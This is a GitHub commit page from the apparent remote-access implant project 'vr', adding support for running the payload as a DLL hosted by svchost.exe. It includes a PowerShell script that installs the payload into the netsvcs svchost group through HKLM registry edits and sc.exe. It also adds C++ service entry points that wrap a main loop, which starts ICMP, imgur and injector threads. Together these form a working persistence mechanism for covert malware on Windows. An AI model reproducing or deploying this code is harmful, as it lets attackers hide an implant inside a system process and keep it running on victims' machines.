Skip to content

Commit

Permalink
Support for building vr as a service which will be hosted by svchost.exe
Browse files Browse the repository at this point in the history
  • Loading branch information
rokups committed Nov 7, 2019
1 parent 1fae2c6 commit bca1b72
Show file tree
Hide file tree
Showing 5 changed files with 116 additions and 4 deletions.
2 changes: 2 additions & 0 deletions CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -93,5 +93,7 @@ macro (export_reflective_loader TARGET)
endif ()
endmacro ()

option(VR_PAYLOAD_SERVICE "Build payload as service dll" OFF)

add_subdirectory(dep)
add_subdirectory(src)
39 changes: 39 additions & 0 deletions service.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,39 @@
#
# MIT License
#
# Copyright (c) 2019 Rokas Kupstys
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
#
param([switch]$remove, [String]$path, [String]$name='vr', [String]$group='netsvcs')
$path = $(Resolve-Path $path)

$svclist = (Get-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost' -name $group).$group
$svclist = $svclist|where{$_ -ne $name }
if (!$remove) {
$svclist += $name
}
New-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost' -name $group -value $svclist
sc.exe delete $name

if (!$remove) {
sc.exe create $name binPath= "%systemroot%\system32\svchost.exe -k $group" type= share
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\services\$name -name Parameters
New-ItemProperty -path HKLM:\SYSTEM\CurrentControlSet\services\$name\Parameters -propertyType ExpandString -name ServiceDll -value $path
}
5 changes: 3 additions & 2 deletions src/shared/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -27,8 +27,9 @@ add_custom_command(
OUTPUT ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h
COMMAND ${CMAKE_COMMAND} -DVR_CONFIG=${VR_CONFIG} -DVR_SOURCE_DIR=${VR_SOURCE_DIR}
-DOUTPUT_BIN_DIRECTORY=${OUTPUT_BIN_DIRECTORY} -P ${VR_SOURCE_DIR}/configure.cmake
COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/vr.py ${OUTPUT_BIN_DIRECTORY}/vr.py)
set_source_files_properties(${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h PROPERTIES GENERATED TRUE)
COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/vr.py ${OUTPUT_BIN_DIRECTORY}/vr.py
COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/service.ps1 ${OUTPUT_BIN_DIRECTORY}/service.ps1)
set_source_files_properties(${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h PROPERTIES GENERATED TRUE)

# Build shared library
file(GLOB_RECURSE SOURCE_FILES *.c *.cpp *.h *.hpp)
Expand Down
8 changes: 7 additions & 1 deletion src/vr/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,13 @@
#

file(GLOB_RECURSE SOURCE_FILES *.h *.hpp *.cpp)
add_executable(vr WIN32 ${SOURCE_FILES} ${VR_CONFIG})
if (VR_PAYLOAD_SERVICE)
add_library(vr MODULE ${SOURCE_FILES} ${VR_CONFIG})
target_compile_definitions(vr PRIVATE -DVR_PAYLOAD_SERVICE=1)
else ()
add_executable(vr WIN32 ${SOURCE_FILES} ${VR_CONFIG})
export_reflective_loader(vr)
endif ()
target_link_libraries(vr shared tiny-json ws2_32 iphlpapi)
export_reflective_loader(vr)
add_dependencies(vr gts stager)
Expand Down
66 changes: 65 additions & 1 deletion src/vr/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,8 @@ void icmp_thread(context& ctx);
void imgur_thread(context& ctx);
void injector_thread(context& ctx);

coroutine_loop loop{};

INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
deterministic_uuid_seed = get_machine_hash();
Expand All @@ -47,7 +49,6 @@ INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine,
WSAStartup(0x0202, &wsa);

context ctx{};
coroutine_loop loop{};
coroutine_loop::activate(loop);

coro_start([&ctx]() { icmp_thread(ctx); });
Expand All @@ -61,3 +62,66 @@ INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine,
CloseHandle(hMutex);
return 0;
}

#if VR_PAYLOAD_SERVICE
BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved)
{
return true;
}

HANDLE main_thread_handle = nullptr;
SERVICE_STATUS_HANDLE svc_status_handle = nullptr;
SERVICE_STATUS svc_status =
{
SERVICE_WIN32_SHARE_PROCESS,
SERVICE_START_PENDING,
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE
};

DWORD WINAPI MainThread(LPVOID)
{
DWORD result = WinMain(0, 0, nullptr, 0);
svc_status.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(svc_status_handle, &svc_status);
return result;
}

DWORD WINAPI ServiceHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext)
{
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
loop.stop_all();
WaitForSingleObject(main_thread_handle, INFINITE);
CloseHandle(main_thread_handle);
main_thread_handle = nullptr;
svc_status.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
svc_status.dwCurrentState = SERVICE_PAUSED;
SuspendThread(main_thread_handle);
break;
case SERVICE_CONTROL_CONTINUE:
svc_status.dwCurrentState = SERVICE_RUNNING;
ResumeThread(main_thread_handle);
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
};
SetServiceStatus(svc_status_handle, &svc_status);
return NO_ERROR;
}

extern "C" __declspec(dllexport) void WINAPI ServiceMain(DWORD dwArgc, LPWSTR* lpszArgv)
{
svc_status_handle = RegisterServiceCtrlHandlerExW(L"vr", ServiceHandler, nullptr);
if (!svc_status_handle)
return;
main_thread_handle = CreateThread(nullptr, 0, &MainThread, nullptr, 0, nullptr);
svc_status.dwCurrentState = main_thread_handle ? SERVICE_RUNNING : SERVICE_STOPPED;
SetServiceStatus(svc_status_handle, &svc_status);
}
#endif

0 comments on commit bca1b72

Please sign in to comment.